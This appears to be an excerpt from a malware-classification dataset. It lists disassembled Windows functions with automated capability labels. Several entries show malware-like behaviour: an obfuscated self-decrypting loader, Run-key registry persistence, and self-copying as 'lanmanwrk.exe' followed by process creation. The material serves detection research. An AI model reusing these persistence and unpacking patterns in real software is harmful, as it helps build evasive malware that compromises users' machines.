joyce8/EMBER2024-capa huggingface dataset:
Function at 0x410a20
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov dword [ebp - 0x120], ebx
mov dword [ebp - 0x11c], esi
mov dword [ebp - 0x118], edi
mov dword [ebp - 0x114], 0
mov dword [0x5b3d30], 0
mov dword [ebp - 4], 0
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
mov byte [ebp + eax - 0x108], 0
mov dword [ebp - 0x110], eax
mov ecx, dword [ebp - 0x110]
mov eax, ebp
mov edx, 0
call fcn.00410c10
mov ecx, dword [ebp - 0x110]
inc ecx
mov eax, dword [0x5b3d30]
mov edx, dword [eax]
lea eax, [ebp - 0x108]
call fcn.004034a0
call sub.KERNEL32.DLL_GetCommandLineA
mov dword [0x558910], eax
mov ebx, dword [0x558910]
jmp 0x410bc1
inc ebx
movzx eax, byte [ebx]
dec eax
cmp eax, 0x20
jb 0x410abc
mov al, byte [ebx]
test al, al
je 0x410bcb
mov byte [ebp - 0x10c], 0
mov edi, ebx
mov dword [ebp - 0x110], 0
jmp 0x410b2c
mov al, byte [ebx]
cmp al, 1
jb 0x410b25
sub al, 0x20
jbe 0x410af8
sub al, 2
je 0x410b0a
jmp 0x410b25
mov al, byte [ebp - 0x10c]
test al, al
je 0x410b32
inc dword [ebp - 0x110]
jmp 0x410b2b
mov al, byte [ebx + 1]
cmp al, 0x22
je 0x410b22
mov al, byte [ebp - 0x10c]
test al, al
sete byte [ebp - 0x10c]
jmp 0x410b2b
inc ebx
jmp 0x410b2b
inc dword [ebp - 0x110]
inc ebx
mov al, byte [ebx]
test al, al
jne 0x410ae8
mov eax, dword [ebp - 0x114]
test eax, eax
je 0x410bbb
mov ecx, dword [ebp - 0x110]
mov edx, dword [ebp - 0x114]
mov eax, ebp
call fcn.00410c10
mov byte [ebp - 0x10c], 0
mov ebx, edi
mov edx, dword [0x5b3d30]
mov eax, dword [ebp - 0x114]
mov esi, dword [edx + eax*4]
jmp 0x410bb2
mov al, byte [ebx]
cmp al, 1
jb 0x410bac
sub al, 0x20
jbe 0x410b80
sub al, 2
je 0x410b91
jmp 0x410bac
mov al, byte [ebp - 0x10c]
test al, al
je 0x410bb8
mov al, byte [ebx]
mov byte [esi], al
inc esi
jmp 0x410bb1
mov al, byte [ebx + 1]
cmp al, 0x22
je 0x410ba9
mov al, byte [ebp - 0x10c]
test al, al
sete byte [ebp - 0x10c]
jmp 0x410bb1
inc ebx
jmp 0x410bb1
mov al, byte [ebx]
mov byte [esi], al
inc esi
inc ebx
mov al, byte [ebx]
test al, al
jne 0x410b70
mov byte [esi], 0
inc dword [ebp - 0x114]
mov al, byte [ebx]
test al, al
jne 0x410abd
mov ebx, dword [ebp - 0x114]
mov dword [0x5b3d20], ebx
mov edx, ebx
inc edx
shl edx, 2
mov eax, 0x5b3d30
call fcn.0040e5d0
mov eax, dword [0x5b3d30]
mov dword [eax + ebx*4], 0
mov ebx, dword [ebp - 0x120]
mov esi, dword [ebp - 0x11c]
mov edi, dword [ebp - 0x118]
leave
ret
Function at 0x4440d0
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], esi
mov dword [ebp - 4], edi
mov ebx, eax
mov edi, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
push esi
push edi
mov eax, ebx
mov edx, 0
call fcn.00444070
cmp edx, esi
jne 0x44410a
cmp eax, edi
jne 0x44410a
push ebx
call sub.KERNEL32.DLL_SetEndOfFile
or eax, eax
setne al
jmp 0x44410c
mov al, 0
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
leave
ret 8

Function at 0x444380
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
test eax, eax
jne 0x444395
mov eax, 0x5b3de0
push eax
call sub.KERNEL32.DLL_GetFileAttributesA
leave
ret

Function at 0x4443a0
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ebx
mov dword [ebp - 4], eax
push edx
mov eax, dword [ebp - 4]
test eax, eax
jne 0x4443b9
mov eax, 0x5b3de0
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
test eax, eax
je 0x4443ca
mov ebx, 0
jmp 0x4443d1
call sub.KERNEL32.DLL_GetLastError
mov ebx, eax
mov eax, ebx
mov ebx, dword [ebp - 8]
leave
ret

Function at 0x444bc0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x18]
lea edx, [ebp - 0x30]
mov eax, 1
call fcn.0040b450
call fcn.0040d410
push eax
test eax, eax
jne 0x444c93
mov ebx, 1
dec ebx
nop
inc ebx
lea eax, [ebx*4 + 0x5b562c]
call fcn.00403a40
mov dword [ebx*4 + 0x5b562c], 0
mov dword [ebx*4 + 0x5b564c], 0xffffffff
cmp ebx, 7
jl 0x444bf8
call sub.KERNEL32.DLL_GetThreadLocale
mov ebx, eax
push 0xb
lea eax, [ebp - 0xc]
push eax
push 0x100b
push ebx
call sub.KERNEL32.DLL_GetLocaleInfoA
test eax, eax
jle 0x444c93
lea eax, [ebp - 0x38]
call fcn.00403a40
mov dword [ebp - 0x38], 0
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0xc]
mov cl, 1
mov edx, 0xa
call fcn.004072f0
mov eax, dword [ebp - 0x38]
mov edx, 1
call fcn.0043cd10
mov esi, eax
sub eax, 3
cmp eax, 3
jae 0x444c93
push 4
push esi
push ebx
mov eax, 0x444a40
push eax
call sub.KERNEL32.DLL_EnumCalendarInfoA
push 3
push esi
push ebx
mov eax, 0x444b00
push eax
call sub.KERNEL32.DLL_EnumCalendarInfoA
call fcn.0040b720
lea eax, [ebp - 0x38]
call fcn.00403a40
mov dword [ebp - 0x38], 0
pop eax
test eax, eax
je 0x444cb1
call fcn.0040b890
mov ebx, dword [ebp - 0x40]
mov esi, dword [ebp - 0x3c]
leave
ret
Function at 0x4454c0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x48], edi
mov dword [ebp - 4], eax
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x18]
lea edx, [ebp - 0x30]
mov eax, 1
call fcn.0040b450
call fcn.0040d410
push eax
test eax, eax
jne 0x4455ed
mov ebx, dword [ebp - 8]
mov eax, ebx
call fcn.00403a40
mov dword [ebx], 0
call sub.KERNEL32.DLL_GetEnvironmentStringsA
mov dword [ebp - 0x44], eax
mov esi, dword [ebp - 0x44]
jmp 0x4455db
lea edx, [ebp - 0xc]
mov eax, esi
call fcn.00442750
mov edx, dword [ebp - 0xc]
mov al, 0x3d
call fcn.00407720
mov ebx, eax
lea eax, [ebp - 0x38]
call fcn.00403a40
mov dword [ebp - 0x38], 0
lea edx, [ebp - 0x38]
mov eax, dword [ebp - 4]
call fcn.00407d10
mov edi, dword [ebp - 0x38]
lea eax, [ebp - 0x3c]
call fcn.00403a40
mov dword [ebp - 0x3c], 0
lea eax, [ebp - 0x40]
call fcn.00403a40
mov dword [ebp - 0x40], 0
lea eax, [ebp - 0x40]
push eax
mov ecx, ebx
dec ecx
mov eax, dword [ebp - 0xc]
mov edx, 1
call fcn.004075d0
mov eax, dword [ebp - 0x40]
lea edx, [ebp - 0x3c]
call fcn.0043c300
mov eax, dword [ebp - 0x3c]
mov edx, edi
call fcn.004073c0
test eax, eax
jne 0x4455cf
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0xc]
test ecx, ecx
je 0x4455bc
mov ecx, dword [ecx - 4]
sub ecx, ebx
mov eax, ebx
inc eax
mov edi, dword [ebp - 0xc]
mov edx, eax
mov eax, edi
call fcn.004075d0
jmp 0x4455e5
mov eax, esi
call fcn.004037f0
add eax, esi
inc eax
mov esi, eax
mov al, byte [esi]
test al, al
jne 0x445530
push dword [ebp - 0x44]
call sub.KERNEL32.DLL_FreeEnvironmentStringsA
call fcn.0040b720
lea eax, [ebp - 0x40]
call fcn.00403a40
mov dword [ebp - 0x40], 0
lea eax, [ebp - 0x3c]
call fcn.00403a40
mov dword [ebp - 0x3c], 0
lea eax, [ebp - 0x38]
call fcn.00403a40
mov dword [ebp - 0x38], 0
lea eax, [ebp - 0xc]
call fcn.00403a40
mov dword [ebp - 0xc], 0
pop eax
test eax, eax
je 0x445638
call fcn.0040b890
mov ebx, dword [ebp - 0x50]
mov esi, dword [ebp - 0x4c]
mov edi, dword [ebp - 0x48]
leave
ret
Function at 0x46a430
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x344
mov dword [ebp - 0x344], ebx
mov dword [ebp - 0x340], esi
mov dword [ebp - 4], eax
mov dword [ebp - 8], edx
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x3c], 0
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x34]
mov eax, 1
call fcn.0040b450
call fcn.0040d410
push eax
test eax, eax
jne 0x46a5e8
mov ebx, dword [ebp - 4]
mov eax, ebx
call fcn.00403a40
mov dword [ebx], 0
mov ebx, dword [ebp - 8]
mov eax, ebx
call fcn.00403a40
mov dword [ebx], 0
call sub.KERNEL32.DLL_GetUserDefaultLCID
mov ebx, eax
push 4
lea eax, [ebp - 0xc]
push eax
push 3
push ebx
call sub.KERNEL32.DLL_GetLocaleInfoA
test eax, eax
je 0x46a528
lea eax, [ebp - 0x3c]
call fcn.00403a40
mov dword [ebp - 0x3c], 0
lea eax, [ebp - 0x23c]
push eax
push 3
push 0
lea ecx, [ebp - 0xc]
lea eax, [ebp - 0x33c]
mov edx, 0xff
call fcn.00403ef0
lea eax, [ebp - 0x33c]
mov ecx, 2
mov edx, 1
call fcn.00404480
lea eax, [ebp - 0x23c]
lea edx, [ebp - 0x13c]
call fcn.004047d0
lea eax, [ebp - 0x13c]
lea edx, [ebp - 0x3c]
call fcn.00407210
mov eax, dword [ebp - 0x3c]
call fcn.00406ef0
mov esi, dword [ebp - 8]
mov eax, esi
call fcn.00403a40
mov eax, dword [ebp - 0x3c]
mov dword [esi], eax
push 4
lea eax, [ebp - 0xc]
push eax
push 7
push ebx
call sub.KERNEL32.DLL_GetLocaleInfoA
test eax, eax
je 0x46a5e8
lea eax, [ebp - 0x13c]
push eax
push 3
push 0
lea ecx, [ebp - 0xc]
lea eax, [ebp - 0x23c]
mov edx, 0xff
call fcn.00403ef0
lea eax, [ebp - 0x23c]
mov ecx, 2
mov edx, 1
call fcn.00404480
lea eax, [ebp - 0x13c]
lea edx, [ebp - 0x10]
call fcn.00407210
lea eax, [ebp - 0x3c]
call fcn.00403a40
mov dword [ebp - 0x3c], 0
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0xc]
mov cl, 0
mov edx, 3
call fcn.004072f0
mov eax, dword [ebp - 0x3c]
mov edx, 0x570b68
call fcn.004073c0
test eax, eax
jne 0x46a5c2
mov ebx, 0x570b74
lea eax, [ebp - 0x10]
call fcn.00403a40
mov dword [ebp - 0x10], ebx
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
mov eax, 0x570b80
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x40], eax
lea edx, [ebp - 0x48]
mov eax, dword [ebp - 4]
mov ecx, 2
call fcn.00407090
call fcn.0040b720
lea eax, [ebp - 0x3c]
call fcn.00403a40
mov dword [ebp - 0x3c], 0
lea eax, [ebp - 0x10]
call fcn.00403a40
mov dword [ebp - 0x10], 0
pop eax
test eax, eax
je 0x46a615
call fcn.0040b890
mov ebx, dword [ebp - 0x344]
mov esi, dword [ebp - 0x340]
leave
ret
Function at 0x47a540
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x10
mov dword [esp + 4], ebx
mov dword [esp + 8], esi
mov dword [esp + 0xc], edi
mov ebx, ecx
mov ecx, edx
mov dword [esp], eax
dec ebx
mov esi, ebx
mov edi, 0
cmp esi, edi
jl 0x47a588
dec edi
nop
inc edi
mov al, byte [esp]
mov dl, byte [ecx]
xor dl, al
movzx eax, dl
mov ebx, eax
mov eax, dword [esp]
shr eax, 8
mov edx, dword [ebx*4 + 0x5b5cb0]
xor eax, edx
mov dword [esp], eax
inc ecx
cmp esi, edi
jg 0x47a564
mov eax, dword [esp]
mov ebx, dword [esp + 4]
mov esi, dword [esp + 8]
mov edi, dword [esp + 0xc]
add esp, 0x10
ret

Function at 0x4a3af0
Capabilities:
Check for software breakpoints

Disassembly:
sub esp, 0xc
mov dword [esp], ebx
mov dword [esp + 4], esi
mov dword [esp + 8], edi
mov esi, eax
mov eax, dword [esi + 0x14]
cmp eax, 0xca
jne 0x4a3b2c
mov eax, esi
call fcn.004a8300
cmp byte [esi + 0x40], 0
je 0x4a3b25
mov dword [esi + 0x14], 0xcf
mov bl, 1
jmp 0x4a3bca
mov dword [esi + 0x14], 0xcb
mov eax, dword [esi + 0x14]
cmp eax, 0xcb
jne 0x4a3bab
mov eax, dword [esi + 0x184]
cmp byte [eax + 0x10], 0
je 0x4a3ba3
mov esi, esi
mov eax, dword [esi + 8]
test eax, eax
je 0x4a3b58
mov eax, esi
mov edx, dword [esi + 8]
mov edx, dword [edx]
call edx
mov eax, esi
mov edx, dword [esi + 0x184]
mov edx, dword [edx]
call edx
mov edi, eax
test eax, eax
jne 0x4a3b6e
mov bl, 0
jmp 0x4a3bca
cmp edi, 2
je 0x4a3ba3
mov eax, dword [esi + 8]
test eax, eax
je 0x4a3b48
cmp edi, 3
je 0x4a3b84
cmp edi, 1
jne 0x4a3b48
mov eax, dword [esi + 8]
inc dword [eax + 4]
mov eax, dword [esi + 8]
mov edx, dword [eax + 4]
cmp edx, dword [eax + 8]
jl 0x4a3b48
mov edx, dword [esi + 8]
mov eax, dword [esi + 0x110]
add dword [edx + 8], eax
jmp 0x4a3b48
mov eax, dword [esi + 0x70]
mov dword [esi + 0x78], eax
jmp 0x4a3bc1
mov eax, dword [esi + 0x14]
cmp eax, 0xcc
je 0x4a3bc1
mov ecx, dword [esi + 0x14]
mov eax, esi
mov dl, 0x14
call fcn.004a3f90
mov eax, esi
call fcn.004a3be0
mov bl, al
mov al, bl
mov ebx, dword [esp]
mov esi, dword [esp + 4]
mov edi, dword [esp + 8]
add esp, 0xc
ret
Function at 0x4a3be0
Capabilities:
Check for software breakpoints

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], edi
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
cmp eax, 0xcc
je 0x4a3cd2
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 4]
mov ecx, dword [edx + 0x174]
mov edx, dword [ecx]
call edx
mov eax, dword [ebp - 4]
mov dword [eax + 0x6c], 0
mov eax, dword [ebp - 4]
mov dword [eax + 0x14], 0xcc
jmp 0x4a3cd2
mov edx, dword [ebp - 4]
mov eax, dword [edx + 8]
test eax, eax
je 0x4a3c65
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 8]
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x6c]
mov dword [ecx + 4], edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 8]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x54]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 4]
mov ecx, dword [edx + 8]
mov edx, dword [ecx]
call edx
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x6c]
push 0
mov eax, dword [ebp - 4]
lea ecx, [eax + 0x6c]
mov eax, dword [ebp - 4]
mov edx, 0
mov edi, dword [ebp - 4]
mov ebx, dword [edi + 0x178]
mov ebx, dword [ebx + 4]
call ebx
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x6c]
cmp edx, esi
jne 0x4a3c99
mov byte [ebp - 8], 0
jmp 0x4a3d04
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x6c]
mov eax, dword [ebp - 4]
cmp edx, dword [eax + 0x54]
jb 0x4a3c30
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 4]
mov ecx, dword [edx + 0x174]
mov edx, dword [ecx + 4]
call edx
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 4]
mov ecx, dword [edx + 0x174]
mov edx, dword [ecx]
call edx
mov eax, dword [ebp - 4]
mov dword [eax + 0x6c], 0
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x174]
cmp byte [edx + 8], 0
jne 0x4a3c99
mov eax, dword [ebp - 4]
cmp byte [eax + 0x41], 0
je 0x4a3cf6
mov eax, dword [ebp - 4]
mov dword [eax + 0x14], 0xce
jmp 0x4a3d00
mov eax, dword [ebp - 4]
mov dword [eax + 0x14], 0xcd
mov byte [ebp - 8], 1
mov al, byte [ebp - 8]
mov ebx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x10]
mov edi, dword [ebp - 0xc]
leave
ret
Function at 0x4d0e30
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 4], eax
cmp byte [0x5abd60], 0
je 0x4d0f18
mov dword [ebp - 0x58], 8
mov eax, fcn.004cb360
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0
call fcn.00410770
mov dword [ebp - 0x48], eax
mov eax, str.MAINICON
push eax
push dword [0x5b3d90]
call sub.user32.dll_LoadIconA
mov dword [ebp - 0x44], eax
test eax, eax
jne 0x4d0e92
push 0x7f00
push 0
call sub.user32.dll_LoadIconA
mov dword [ebp - 0x44], eax
push 0x7f00
push 0
call sub.user32.dll_LoadCursorA
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
mov eax, str.Window
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x58]
push eax
call sub.user32.dll_RegisterClassW
and eax, 0xffff
setne byte [ebp - 8]
cmp byte [ebp - 8], 0
je 0x4d0fe1
or dword [ebp - 0x58], 0x800
mov eax, dword [0x5abd70]
cmp eax, 6
jb 0x4d0eeb
or dword [ebp - 0x58], 0x20000
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x3c], 0
mov eax, str.HintWindow
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x58]
push eax
call sub.user32.dll_RegisterClassW
and eax, 0xffff
setne byte [ebp - 8]
jmp 0x4d0fe1
mov dword [ebp - 0x30], 8
mov eax, fcn.004cb360
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
call fcn.00410770
mov dword [ebp - 0x20], eax
mov eax, str.MAINICON
push eax
push dword [0x5b3d90]
call sub.user32.dll_LoadIconA
mov dword [ebp - 0x1c], eax
test eax, eax
jne 0x4d0f64
push 0x7f00
push 0
call sub.user32.dll_LoadIconA
mov dword [ebp - 0x1c], eax
push 0x7f00
push 0
call sub.user32.dll_LoadCursorA
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov eax, 0x5831f0
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x30]
push eax
call sub.user32.dll_RegisterClassA
and eax, 0xffff
setne byte [ebp - 8]
cmp byte [ebp - 8], 0
je 0x4d0fe1
or dword [ebp - 0x30], 0x800
mov eax, dword [0x5abd70]
cmp eax, 6
jb 0x4d0fb9
or dword [ebp - 0x30], 0x20000
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x14], 0
mov eax, 0x583200
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x30]
push eax
call sub.user32.dll_RegisterClassA
and eax, 0xffff
setne byte [ebp - 8]
mov al, byte [ebp - 8]
leave
ret
Function at 0x4d2000
Capabilities:
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0x38], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
mov byte [ebp - 0xc], 0
mov eax, dword [ebp - 8]
push dword [eax - 8]
call sub.user32.dll_GetClipboardData
mov edx, dword [ebp - 8]
mov dword [edx - 0x14], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax - 0x14]
test eax, eax
je 0x4d20b3
mov eax, dword [ebp - 8]
push dword [eax - 0x14]
call sub.KERNEL32.DLL_GlobalSize
mov edx, dword [ebp - 8]
mov dword [edx - 0x1c], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax - 0x1c]
test eax, eax
jle 0x4d20b3
mov eax, dword [ebp - 8]
push dword [eax - 0x14]
call sub.KERNEL32.DLL_GlobalLock
mov edx, dword [ebp - 8]
mov dword [edx - 0x18], eax
lea ecx, [ebp - 0x18]
lea edx, [ebp - 0x30]
mov eax, 1
call fcn.0040b450
call fcn.0040d410
push eax
test eax, eax
jne 0x4d2092
mov eax, dword [ebp - 8]
mov edx, dword [eax - 0x18]
mov eax, dword [ebp - 8]
mov ecx, dword [eax - 0x1c]
mov eax, dword [ebp - 4]
mov ebx, dword [ebp - 4]
mov ebx, dword [ebx]
call dword [ebx + 0x84]
call fcn.0040b720
mov eax, dword [ebp - 8]
push dword [eax - 0x14]
call sub.KERNEL32.DLL_GlobalUnlock
pop eax
test eax, eax
je 0x4d20af
dec eax
test eax, eax
call fcn.0040b890
mov byte [ebp - 0xc], 1
mov al, byte [ebp - 0xc]
mov ebx, dword [ebp - 0x38]
leave
ret
Function at 0x52dbf0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ebx
mov dword [ebp - 4], esi
cmp byte [0x59fbd0], 0
je 0x52dc14
mov eax, 0x59fc20
test eax, eax
setne bl
jmp 0x52dcfa
mov eax, str.USER32
push eax
call sub.KERNEL32.DLL_GetModuleHandleA
mov esi, eax
test eax, eax
je 0x52dcab
mov eax, str.GetSystemMetrics
push eax
push esi
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x59fbe0], eax
mov eax, str.MonitorFromWindow
push eax
push esi
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x59fbf0], eax
mov eax, str.MonitorFromRect
push eax
push esi
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x59fc00], eax
mov eax, str.MonitorFromPoint
push eax
push esi
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x59fc10], eax
mov eax, str.EnumDisplayMonitors
push eax
push esi
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x59fc30], eax
mov eax, str.GetMonitorInfoA
push eax
push esi
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x59fc20], eax
mov eax, str.EnumDisplayDevicesA
push eax
push esi
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x59fc40], eax
mov byte [0x59fbd0], 1
mov bl, 1
jmp 0x52dcfa
mov dword [0x59fbe0], 0
mov dword [0x59fbf0], 0
mov dword [0x59fc00], 0
mov dword [0x59fc10], 0
mov dword [0x59fc30], 0
mov dword [0x59fc20], 0
mov dword [0x59fc40], 0
mov byte [0x59fbd0], 1
mov bl, 0
mov al, bl
mov ebx, dword [ebp - 8]
mov esi, dword [ebp - 4]
leave
ret
Function at 0x422a7d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x422a8c
pop dword [ebp - 0x14]
mov eax, 0xa0754dfc
add eax, 0x5fccdc90
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x41867
push 0
mov eax, 0xfa223a32
add eax, 0x62017e6
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0x570b
mov ebx, eax
mov esi, 0x435400
add esi, dword [ebp - 0x14]
mov edi, 0x7fd224e4
sub edi, 0x66e2038b
add dword [ebp - 0x10], ecx
mov edx, dword [esi]
add edx, edi
xor dword [ebp - 8], edx
mov dword [ebx], edx
sub dword [ebp - 4], 0x1b197c4f
add ebx, 4
add esi, 0x66ab9384
add esi, 0x99546c80
loop 0x422adf
add eax, 0xdef182f8
add eax, 0x210fcc07
mov ebx, eax
add eax, 5
mov ecx, 0x4ac4afa
add ecx, 0xfb93b506
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x40116c
Capabilities:
Encode data using xor

Disassembly:
push 0x4012b8
call sub.MSVBVM60.DLL_ThunRTMain
add byte [eax], al
add byte [eax], al
add byte [eax], al
xor byte [eax], al
add byte [eax], al
inc eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], bl
in eax, dx
jae 0x401178
push ecx
fisub word [eax]
inc ebx
mov eax, dword [0x25db7a49]
add ecx, dword [edx + 0x44]
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + 0x72], dl
outsd dx, dword [esi]
push 0x65
arpl word [ecx + esi], si
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add bh, bh
int3
Function at 0x4023a4
Capabilities:
Delete registry value
Initialize winsock library
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
push esi
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call main
pop ecx
lea eax, [ebp - 0x194]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0xa365
push 0x232
push 0x10
push 0
push str.__srvmgr32
call dword [sym.imp.USER32.dll_FindWindowA]
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
lea eax, [ebp - 4]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov esi, str.ZwQueryService
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.0040220f
test eax, eax
je 0x402428
call fcn.00402ec0
test eax, eax
jne 0x40242f
xor eax, eax
jmp 0x4024d6
call fcn.00402feb
push dword [0x40503c]
call fcn.00402003
mov dword [esp], 0x40103d
push 0xbb8
push 0x161
push dword [0x405048]
call dword [sym.imp.USER32.dll_SetTimer]
call fcn.0040319a
test eax, eax
jne 0x40246a
call fcn.00403220
call fcn.004019c8
call fcn.004019ae
push 0x5c
push dword [0x40503c]
call fcn.0040353e
push eax
call fcn.004021af
push 0x5c
push dword [0x405040]
call fcn.0040353e
push eax
call fcn.004021af
push 0x5c
push dword [0x405044]
call fcn.0040353e
push eax
call fcn.004021af
call fcn.004021a1
push esi
call fcn.004021ca
push 0x5c
push dword [0x405040]
call fcn.0040353e
push eax
call fcn.004021ca
add esp, 0x34
call fcn.00402384
xor eax, eax
inc eax
pop esi
leave
ret

Function at 0x402664
Capabilities:
Copy file
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push edi
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
xor esi, esi
jmp 0x402681
cmp byte [eax + edi], 0x5c
je 0x402685
dec eax
cmp eax, esi
jg 0x40267a
cmp eax, esi
jne 0x402690
xor eax, eax
jmp 0x402722
push ebx
mov edi, 0x200
push edi
call fcn.00403516
mov ebx, eax
push edi
push ebx
call fcn.00403d00
add esp, 0xc
push str.lanmanwrk.exe
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push esi
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push 0x4042b8
push esi
push esi
push esi
push esi
push esi
push ebx
push ebx
mov dword [ebp - 0x54], 0x44
mov word [ebp - 0x22], si
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x48], esi
mov word [ebp - 0x24], 5
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
push ebx
call fcn.0040352a
pop ecx
xor eax, eax
inc eax
pop ebx
pop edi
pop esi
leave
ret